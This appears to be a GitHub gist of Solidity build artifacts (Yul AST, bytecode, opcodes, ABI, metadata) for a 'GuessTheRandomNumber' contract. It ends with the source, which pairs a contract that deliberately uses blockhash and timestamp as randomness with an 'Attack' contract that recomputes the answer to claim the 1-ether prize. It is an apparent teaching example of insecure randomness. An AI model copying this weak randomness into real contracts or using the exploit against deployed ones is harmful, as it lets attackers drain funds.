"name": "store_literal_in_memory_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470",
"nodeType": "YulIdentifier",
"src": "2935:88:1"
},
"nodeType": "YulFunctionCall",
"src": "2935:93:1"
},
"nodeType": "YulExpressionStatement",
"src": "2935:93:1"
},
{
"nodeType": "YulAssignment",
"src": "3037:18:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "3048:3:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3053:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "3044:3:1"
},
"nodeType": "YulFunctionCall",
"src": "3044:11:1"
},
"variableNames": [
{
"name": "end",
"nodeType": "YulIdentifier",
"src": "3037:3:1"
}
]
}
]
},
"name": "abi_encode_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470_to_t_bytes_memory_ptr_nonPadded_inplace_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "2814:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "end",
"nodeType": "YulTypedName",
"src": "2822:3:1",
"type": ""
}
],
"src": "2663:398:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "3255:191:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "3266:154:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "3416:3:1"
}
],
"functionName": {
"name": "abi_encode_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470_to_t_bytes_memory_ptr_nonPadded_inplace_fromStack",
"nodeType": "YulIdentifier",
"src": "3273:141:1"
},
"nodeType": "YulFunctionCall",
"src": "3273:147:1"
},
"variableNames": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "3266:3:1"
}
]
},
{
"nodeType": "YulAssignment",
"src": "3430:10:1",
"value": {
"name": "pos",
"nodeType": "YulIdentifier",
"src": "3437:3:1"
},
"variableNames": [
{
"name": "end",
"nodeType": "YulIdentifier",
"src": "3430:3:1"
}
]
}
]
},
"name": "abi_encode_tuple_packed_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470__to_t_bytes_memory_ptr__nonPadded_inplace_fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "3242:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "end",
"nodeType": "YulTypedName",
"src": "3251:3:1",
"type": ""
}
],
"src": "3067:379:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "3548:73:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "3565:3:1"
},
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "3570:6:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "3558:6:1"
},
"nodeType": "YulFunctionCall",
"src": "3558:19:1"
},
"nodeType": "YulExpressionStatement",
"src": "3558:19:1"
},
{
"nodeType": "YulAssignment",
"src": "3586:29:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "3605:3:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3610:4:1",
"type": "",
"value": "0x20"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "3601:3:1"
},
"nodeType": "YulFunctionCall",
"src": "3601:14:1"
},
"variableNames": [
{
"name": "updated_pos",
"nodeType": "YulIdentifier",
"src": "3586:11:1"
}
]
}
]
},
"name": "array_storeLengthForEncoding_t_string_memory_ptr_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "3520:3:1",
"type": ""
},
{
"name": "length",
"nodeType": "YulTypedName",
"src": "3525:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "updated_pos",
"nodeType": "YulTypedName",
"src": "3536:11:1",
"type": ""
}
],
"src": "3452:169:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "3733:64:1",
"statements": [
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "3755:6:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3763:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "3751:3:1"
},
"nodeType": "YulFunctionCall",
"src": "3751:14:1"
},
{
"hexValue": "4661696c656420746f2073656e64204574686572",
"kind": "string",
"nodeType": "YulLiteral",
"src": "3767:22:1",
"type": "",
"value": "Failed to send Ether"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "3744:6:1"
},
"nodeType": "YulFunctionCall",
"src": "3744:46:1"
},
"nodeType": "YulExpressionStatement",
"src": "3744:46:1"
}
]
},
"name": "store_literal_in_memory_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "3725:6:1",
"type": ""
}
],
"src": "3627:170:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "3949:220:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "3959:74:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "4025:3:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "4030:2:1",
"type": "",
"value": "20"
}
],
"functionName": {
"name": "array_storeLengthForEncoding_t_string_memory_ptr_fromStack",
"nodeType": "YulIdentifier",
"src": "3966:58:1"
},
"nodeType": "YulFunctionCall",
"src": "3966:67:1"
},
"variableNames": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "3959:3:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "4131:3:1"
}
],
"functionName": {
"name": "store_literal_in_memory_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb",
"nodeType": "YulIdentifier",
"src": "4042:88:1"
},
"nodeType": "YulFunctionCall",
"src": "4042:93:1"
},
"nodeType": "YulExpressionStatement",
"src": "4042:93:1"
},
{
"nodeType": "YulAssignment",
"src": "4144:19:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "4155:3:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "4160:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "4151:3:1"
},
"nodeType": "YulFunctionCall",
"src": "4151:12:1"
},
"variableNames": [
{
"name": "end",
"nodeType": "YulIdentifier",
"src": "4144:3:1"
}
]
}
]
},
"name": "abi_encode_t_stringliteral_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb_to_t_string_memory_ptr_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "3937:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "end",
"nodeType": "YulTypedName",
"src": "3945:3:1",
"type": ""
}
],
"src": "3803:366:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "4346:248:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "4356:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "4368:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "4379:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "4364:3:1"
},
"nodeType": "YulFunctionCall",
"src": "4364:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "4356:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "4403:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "4414:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "4399:3:1"
},
"nodeType": "YulFunctionCall",
"src": "4399:17:1"
},
{
"arguments": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "4422:4:1"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "4428:9:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "4418:3:1"
},
"nodeType": "YulFunctionCall",
"src": "4418:20:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "4392:6:1"
},
"nodeType": "YulFunctionCall",
"src": "4392:47:1"
},
"nodeType": "YulExpressionStatement",
"src": "4392:47:1"
},
{
"nodeType": "YulAssignment",
"src": "4448:139:1",
"value": {
"arguments": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "4582:4:1"
}
],
"functionName": {
"name": "abi_encode_t_stringliteral_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb_to_t_string_memory_ptr_fromStack",
"nodeType": "YulIdentifier",
"src": "4456:124:1"
},
"nodeType": "YulFunctionCall",
"src": "4456:131:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "4448:4:1"
}
]
}
]
},
"name": "abi_encode_tuple_t_stringliteral_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb__to_t_string_memory_ptr__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "4326:9:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "4341:4:1",
"type": ""
}
],
"src": "4175:419:1"
}
]
},
"contents": "{\n\n function allocate_unbounded() -> memPtr {\n memPtr := mload(64)\n }\n\n function revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() {\n revert(0, 0)\n }\n\n function revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() {\n revert(0, 0)\n }\n\n function cleanup_t_uint256(value) -> cleaned {\n cleaned := value\n }\n\n function validator_revert_t_uint256(value) {\n if iszero(eq(value, cleanup_t_uint256(value))) { revert(0, 0) }\n }\n\n function abi_decode_t_uint256(offset, end) -> value {\n value := calldataload(offset)\n validator_revert_t_uint256(value)\n }\n\n function abi_decode_tuple_t_uint256(headStart, dataEnd) -> value0 {\n if slt(sub(dataEnd, headStart), 32) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := 0\n\n value0 := abi_decode_t_uint256(add(headStart, offset), dataEnd)\n }\n\n }\n\n function panic_error_0x11() {\n mstore(0, 35408467139433450592217433187231851964531694900788300625387963629091585785856)\n mstore(4, 0x11)\n revert(0, 0x24)\n }\n\n function checked_sub_t_uint256(x, y) -> diff {\n x := cleanup_t_uint256(x)\n y := cleanup_t_uint256(y)\n\n if lt(x, y) { panic_error_0x11() }\n\n diff := sub(x, y)\n }\n\n function cleanup_t_bytes32(value) -> cleaned {\n cleaned := value\n }\n\n function leftAlign_t_bytes32(value) -> aligned {\n aligned := value\n }\n\n function abi_encode_t_bytes32_to_t_bytes32_nonPadded_inplace_fromStack(value, pos) {\n mstore(pos, leftAlign_t_bytes32(cleanup_t_bytes32(value)))\n }\n\n function leftAlign_t_uint256(value) -> aligned {\n aligned := value\n }\n\n function abi_encode_t_uint256_to_t_uint256_nonPadded_inplace_fromStack(value, pos) {\n mstore(pos, leftAlign_t_uint256(cleanup_t_uint256(value)))\n }\n\n function abi_encode_tuple_packed_t_bytes32_t_uint256__to_t_bytes32_t_uint256__nonPadded_inplace_fromStack_reversed(pos , value1, value0) -> end {\n\n abi_encode_t_bytes32_to_t_bytes32_nonPadded_inplace_fromStack(value0, pos)\n pos := add(pos, 32)\n\n abi_encode_t_uint256_to_t_uint256_nonPadded_inplace_fromStack(value1, pos)\n pos := add(pos, 32)\n\n end := pos\n }\n\n function array_storeLengthForEncoding_t_bytes_memory_ptr_nonPadded_inplace_fromStack(pos, length) -> updated_pos {\n updated_pos := pos\n }\n\n function store_literal_in_memory_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470(memPtr) {\n\n }\n\n function abi_encode_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470_to_t_bytes_memory_ptr_nonPadded_inplace_fromStack(pos) -> end {\n pos := array_storeLengthForEncoding_t_bytes_memory_ptr_nonPadded_inplace_fromStack(pos, 0)\n store_literal_in_memory_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470(pos)\n end := add(pos, 0)\n }\n\n function abi_encode_tuple_packed_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470__to_t_bytes_memory_ptr__nonPadded_inplace_fromStack_reversed(pos ) -> end {\n\n pos := abi_encode_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470_to_t_bytes_memory_ptr_nonPadded_inplace_fromStack( pos)\n\n end := pos\n }\n\n function array_storeLengthForEncoding_t_string_memory_ptr_fromStack(pos, length) -> updated_pos {\n mstore(pos, length)\n updated_pos := add(pos, 0x20)\n }\n\n function store_literal_in_memory_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb(memPtr) {\n\n mstore(add(memPtr, 0), \"Failed to send Ether\")\n\n }\n\n function abi_encode_t_stringliteral_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb_to_t_string_memory_ptr_fromStack(pos) -> end {\n pos := array_storeLengthForEncoding_t_string_memory_ptr_fromStack(pos, 20)\n store_literal_in_memory_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb(pos)\n end := add(pos, 32)\n }\n\n function abi_encode_tuple_t_stringliteral_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb__to_t_string_memory_ptr__fromStack_reversed(headStart ) -> tail {\n tail := add(headStart, 32)\n\n mstore(add(headStart, 0), sub(tail, headStart))\n tail := abi_encode_t_stringliteral_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb_to_t_string_memory_ptr_fromStack( tail)\n\n }\n\n}\n",
"id": 1,
"language": "Yul",
"name": "#utility.yul"
}
],
"immutableReferences": {},
"linkReferences": {},
"object": "608060405234801561001057600080fd5b506004361061002b5760003560e01c80639189fec114610030575b600080fd5b61004a60048036038101906100459190610186565b61004c565b005b600060014361005b91906101e2565b404260405160200161006e929190610262565b6040516020818303038152906040528051906020012060001c9050808214156101475760003373ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a76400006040516100bf906102bf565b60006040518083038185875af1925050503d80600081146100fc576040519150601f19603f3d011682016040523d82523d6000602084013e610101565b606091505b5050905080610145576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161013c90610331565b60405180910390fd5b505b5050565b600080fd5b6000819050919050565b61016381610150565b811461016e57600080fd5b50565b6000813590506101808161015a565b92915050565b60006020828403121561019c5761019b61014b565b5b60006101aa84828501610171565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006101ed82610150565b91506101f883610150565b92508282101561020b5761020a6101b3565b5b828203905092915050565b6000819050919050565b6000819050919050565b61023b61023682610216565b610220565b82525050565b6000819050919050565b61025c61025782610150565b610241565b82525050565b600061026e828561022a565b60208201915061027e828461024b565b6020820191508190509392505050565b600081905092915050565b50565b60006102a960008361028e565b91506102b482610299565b600082019050919050565b60006102ca8261029c565b9150819050919050565b600082825260208201905092915050565b7f4661696c656420746f2073656e64204574686572000000000000000000000000600082015250565b600061031b6014836102d4565b9150610326826102e5565b602082019050919050565b6000602082019050818103600083015261034a8161030e565b905091905056fea264697066735822122071e639894f1c81b2f5d691642da83e4ca4a905a2437b0a26d00991745510ae2e64736f6c634300080c0033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH2 0x2B JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x9189FEC1 EQ PUSH2 0x30 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x4A PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0x45 SWAP2 SWAP1 PUSH2 0x186 JUMP JUMPDEST PUSH2 0x4C JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 PUSH1 0x1 NUMBER PUSH2 0x5B SWAP2 SWAP1 PUSH2 0x1E2 JUMP JUMPDEST BLOCKHASH TIMESTAMP PUSH1 0x40 MLOAD PUSH1 0x20 ADD PUSH2 0x6E SWAP3 SWAP2 SWAP1 PUSH2 0x262 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH1 0x20 DUP2 DUP4 SUB SUB DUP2 MSTORE SWAP1 PUSH1 0x40 MSTORE DUP1 MLOAD SWAP1 PUSH1 0x20 ADD KECCAK256 PUSH1 0x0 SHR SWAP1 POP DUP1 DUP3 EQ ISZERO PUSH2 0x147 JUMPI PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH8 0xDE0B6B3A7640000 PUSH1 0x40 MLOAD PUSH2 0xBF SWAP1 PUSH2 0x2BF JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP8 GAS CALL SWAP3 POP POP POP RETURNDATASIZE DUP1 PUSH1 0x0 DUP2 EQ PUSH2 0xFC JUMPI PUSH1 0x40 MLOAD SWAP2 POP PUSH1 0x1F NOT PUSH1 0x3F RETURNDATASIZE ADD AND DUP3 ADD PUSH1 0x40 MSTORE RETURNDATASIZE DUP3 MSTORE RETURNDATASIZE PUSH1 0x0 PUSH1 0x20 DUP5 ADD RETURNDATACOPY PUSH2 0x101 JUMP JUMPDEST PUSH1 0x60 SWAP2 POP JUMPDEST POP POP SWAP1 POP DUP1 PUSH2 0x145 JUMPI PUSH1 0x40 MLOAD PUSH32 0x8C379A000000000000000000000000000000000000000000000000000000000 DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x13C SWAP1 PUSH2 0x331 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 REVERT JUMPDEST POP JUMPDEST POP POP JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x163 DUP2 PUSH2 0x150 JUMP JUMPDEST DUP2 EQ PUSH2 0x16E JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x180 DUP2 PUSH2 0x15A JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x19C JUMPI PUSH2 0x19B PUSH2 0x14B JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x1AA DUP5 DUP3 DUP6 ADD PUSH2 0x171 JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH32 0x4E487B7100000000000000000000000000000000000000000000000000000000 PUSH1 0x0 MSTORE PUSH1 0x11 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH1 0x0 REVERT JUMPDEST PUSH1 0x0 PUSH2 0x1ED DUP3 PUSH2 0x150 JUMP JUMPDEST SWAP2 POP PUSH2 0x1F8 DUP4 PUSH2 0x150 JUMP JUMPDEST SWAP3 POP DUP3 DUP3 LT ISZERO PUSH2 0x20B JUMPI PUSH2 0x20A PUSH2 0x1B3 JUMP JUMPDEST JUMPDEST DUP3 DUP3 SUB SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x23B PUSH2 0x236 DUP3 PUSH2 0x216 JUMP JUMPDEST PUSH2 0x220 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x25C PUSH2 0x257 DUP3 PUSH2 0x150 JUMP JUMPDEST PUSH2 0x241 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x26E DUP3 DUP6 PUSH2 0x22A JUMP JUMPDEST PUSH1 0x20 DUP3 ADD SWAP2 POP PUSH2 0x27E DUP3 DUP5 PUSH2 0x24B JUMP JUMPDEST PUSH1 0x20 DUP3 ADD SWAP2 POP DUP2 SWAP1 POP SWAP4 SWAP3 POP POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x2A9 PUSH1 0x0 DUP4 PUSH2 0x28E JUMP JUMPDEST SWAP2 POP PUSH2 0x2B4 DUP3 PUSH2 0x299 JUMP JUMPDEST PUSH1 0x0 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x2CA DUP3 PUSH2 0x29C JUMP JUMPDEST SWAP2 POP DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP3 DUP3 MSTORE PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH32 0x4661696C656420746F2073656E64204574686572000000000000000000000000 PUSH1 0x0 DUP3 ADD MSTORE POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x31B PUSH1 0x14 DUP4 PUSH2 0x2D4 JUMP JUMPDEST SWAP2 POP PUSH2 0x326 DUP3 PUSH2 0x2E5 JUMP JUMPDEST PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP DUP2 DUP2 SUB PUSH1 0x0 DUP4 ADD MSTORE PUSH2 0x34A DUP2 PUSH2 0x30E JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 PUSH18 0xE639894F1C81B2F5D691642DA83E4CA4A905 LOG2 NUMBER PUSH28 0xA26D00991745510AE2E64736F6C634300080C003300000000000000 ",
"sourceMap": "58:394:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;124:326;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;169:11;253:1;238:12;:16;;;;:::i;:::-;228:27;257:15;211:62;;;;;;;;;:::i;:::-;;;;;;;;;;;;;201:73;;;;;;183:101;;169:115;;309:6;299;:16;295:149;;;332:9;347:10;:15;;370:7;347:35;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;331:51;;;404:4;396:37;;;;;;;;;;;;:::i;:::-;;;;;;;;;317:127;295:149;159:291;124:326;:::o;88:117:1:-;197:1;194;187:12;334:77;371:7;400:5;389:16;;334:77;;;:::o;417:122::-;490:24;508:5;490:24;:::i;:::-;483:5;480:35;470:63;;529:1;526;519:12;470:63;417:122;:::o;545:139::-;591:5;629:6;616:20;607:29;;645:33;672:5;645:33;:::i;:::-;545:139;;;;:::o;690:329::-;749:6;798:2;786:9;777:7;773:23;769:32;766:119;;;804:79;;:::i;:::-;766:119;924:1;949:53;994:7;985:6;974:9;970:22;949:53;:::i;:::-;939:63;;895:117;690:329;;;;:::o;1025:180::-;1073:77;1070:1;1063:88;1170:4;1167:1;1160:15;1194:4;1191:1;1184:15;1211:191;1251:4;1271:20;1289:1;1271:20;:::i;:::-;1266:25;;1305:20;1323:1;1305:20;:::i;:::-;1300:25;;1344:1;1341;1338:8;1335:34;;;1349:18;;:::i;:::-;1335:34;1394:1;1391;1387:9;1379:17;;1211:191;;;;:::o;1408:77::-;1445:7;1474:5;1463:16;;1408:77;;;:::o;1491:79::-;1530:7;1559:5;1548:16;;1491:79;;;:::o;1576:157::-;1681:45;1701:24;1719:5;1701:24;:::i;:::-;1681:45;:::i;:::-;1676:3;1669:58;1576:157;;:::o;1739:79::-;1778:7;1807:5;1796:16;;1739:79;;;:::o;1824:157::-;1929:45;1949:24;1967:5;1949:24;:::i;:::-;1929:45;:::i;:::-;1924:3;1917:58;1824:157;;:::o;1987:397::-;2127:3;2142:75;2213:3;2204:6;2142:75;:::i;:::-;2242:2;2237:3;2233:12;2226:19;;2255:75;2326:3;2317:6;2255:75;:::i;:::-;2355:2;2350:3;2346:12;2339:19;;2375:3;2368:10;;1987:397;;;;;:::o;2390:147::-;2491:11;2528:3;2513:18;;2390:147;;;;:::o;2543:114::-;;:::o;2663:398::-;2822:3;2843:83;2924:1;2919:3;2843:83;:::i;:::-;2836:90;;2935:93;3024:3;2935:93;:::i;:::-;3053:1;3048:3;3044:11;3037:18;;2663:398;;;:::o;3067:379::-;3251:3;3273:147;3416:3;3273:147;:::i;:::-;3266:154;;3437:3;3430:10;;3067:379;;;:::o;3452:169::-;3536:11;3570:6;3565:3;3558:19;3610:4;3605:3;3601:14;3586:29;;3452:169;;;;:::o;3627:170::-;3767:22;3763:1;3755:6;3751:14;3744:46;3627:170;:::o;3803:366::-;3945:3;3966:67;4030:2;4025:3;3966:67;:::i;:::-;3959:74;;4042:93;4131:3;4042:93;:::i;:::-;4160:2;4155:3;4151:12;4144:19;;3803:366;;;:::o;4175:419::-;4341:4;4379:2;4368:9;4364:18;4356:26;;4428:9;4422:4;4418:20;4414:1;4403:9;4399:17;4392:47;4456:131;4582:4;4456:131;:::i;:::-;4448:139;;4175:419;;;:::o"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "180600",
"executionCost": "202",
"totalCost": "180802"
},
"external": {
"guess(uint256)": "infinite"
}
},
"methodIdentifiers": {
"guess(uint256)": "9189fec1"
}
},
"abi": [
{
"inputs": [],
"stateMutability": "payable",
"type": "constructor"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "_guess",
"type": "uint256"
}
],
"name": "guess",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
]
}
{
"compiler": {
"version": "0.8.12+commit.f00d7308"
},
"language": "Solidity",
"output": {
"abi": [
{
"inputs": [],
"stateMutability": "payable",
"type": "constructor"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "_guess",
"type": "uint256"
}
],
"name": "guess",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/GuessTheRandomNumber.sol": "GuessTheRandomNumber"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/GuessTheRandomNumber.sol": {
"keccak256": "0xbc5a9306e7c6d3ca0ed80e588e309832613405de8daa0a79519699fb856694b8",
"license": "MIT",
"urls": [
"bzz-raw://3bde0a4df4a910dca4bed8e79239e78ecc4d70800d1e1795de32b79e8f7382e3",
"dweb:/ipfs/QmeeW2iLhNjFaw3SbECU9SazEnGP1MH4z4SxCF264kmjKh"
]
}
},
"version": 1
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
contract GuessTheRandomNumber {
constructor() payable {}
function guess(uint _guess) public {
uint answer = uint(
keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
);
if (_guess == answer) {
(bool sent, ) = msg.sender.call{value: 1 ether}("");
require(sent, "Failed to send Ether");
}
}
}
contract Attack {
receive() external payable {}
function attack(GuessTheRandomNumber guessTheRandomNumber) public {
uint answer = uint(
keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
);
guessTheRandomNumber.guess(answer);
}
// Helper function to check balance
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment